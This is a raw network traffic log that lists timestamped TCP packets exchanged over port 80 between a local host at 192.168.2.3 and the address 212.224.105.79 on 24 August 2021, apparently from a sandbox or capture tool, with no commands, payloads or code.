Aug 24, 2021 14:01:35.406794071 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406800985 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406810045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406825066 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406826973 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406841040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406858921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406876087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406877995 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406892061 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406908989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406917095 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406929016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406939030 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406944990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406960964 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406974077 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406977892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406994104 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407007933 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407012939 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407028913 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407047987 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407047987 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407066107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407075882 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407082081 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407099962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407105923 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407126904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407129049 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407145023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407160997 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407177925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407190084 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407193899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407213926 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407215118 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407231092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407247066 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407253027 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407263994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407279968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407280922 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407295942 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407313108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407327890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407335997 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407347918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407357931 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407365084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407381058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407383919 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407396078 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407413006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407418966 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407428980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407444954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407452106 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407460928 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407480955 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407497883 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407500029 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407514095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407531023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407536030 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407547951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407557011 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407562971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407579899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407593012 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407596111 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407613993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407630920 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407632113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407648087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407651901 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407665014 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407680988 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407687902 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407697916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407713890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407722950 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407730103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407746077 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407747984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407764912 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407779932 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407794952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407795906 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407810926 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407824993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407830954 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407841921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407850981 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407856941 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407876015 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407886982 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407893896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407908916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407922029 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407923937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407939911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407943964 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.407955885 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407972097 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407987118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.407993078 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.408005953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.408021927 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.408025980 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.408037901 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.408046961 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.408052921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.408080101 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.408266068 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.430058002 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430079937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430093050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430109024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430128098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430145025 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430157900 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.430160999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430197001 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.430243015 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.430607080 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430624962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430639982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430674076 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430690050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430705070 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430721998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430733919 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.430763006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430792093 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.430799961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430815935 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430843115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430849075 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.430859089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430907011 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430915117 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.430957079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430969000 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.430977106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.430994034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431009054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431016922 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431036949 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431051970 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431055069 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431112051 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431129932 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431164026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431179047 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431180000 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431195974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431220055 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431221008 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431272030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431288004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431296110 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431303978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431320906 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431355953 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431361914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431379080 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431390047 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431399107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431416035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431436062 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431443930 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431459904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431472063 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431483030 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431504965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431520939 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431539059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431549072 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431556940 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431576014 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431618929 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431647062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431685925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431704044 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431704044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431721926 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431739092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431746006 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431756020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431771994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431787968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431790113 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431802988 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431818962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431822062 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431837082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431848049 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431854963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431870937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431888103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431890011 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431904078 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431920052 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431926012 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431935072 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431951046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431955099 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.431971073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431988001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.431989908 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432003021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432020903 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432020903 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432038069 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432049990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432061911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432065964 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432079077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432095051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432115078 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432116985 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432136059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432145119 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432164907 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432180882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432188988 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432202101 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432218075 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432234049 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432245970 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432250023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432265997 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432272911 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432281971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432297945 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432312965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432328939 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432332039 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432348967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432360888 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432367086 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432374001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432389021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432401896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432405949 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432414055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432430029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432446957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432457924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432467937 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432470083 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432482004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432498932 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432502031 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432517052 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432533026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432547092 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432553053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432569027 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432585001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432585955 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432600975 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432615995 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432625055 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432634115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432648897 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432656050 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432668924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432688951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432693958 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432702065 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432718039 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432737112 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432744026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432764053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432765961 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432780981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432800055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432816982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432832003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432833910 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432847977 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432864904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432879925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432892084 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432898045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432914019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432931900 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432931900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432950020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.432959080 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.432966948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.433008909 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.433047056 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.433285952 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.452888966 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.452910900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.452927113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.452944040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.452963114 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.452974081 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.452980042 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.452996016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453011990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453015089 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.453027964 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453043938 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453059912 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453059912 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.453075886 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453093052 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.453094006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453110933 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453125954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453135014 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.453142881 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453155041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453181028 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.453182936 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453200102 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453216076 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453223944 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.453233004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453248024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453263998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453268051 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.453279972 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453299999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453310013 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.453315973 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.453331947 CEST	80	49723	212.224.105.79	192.168.2.3
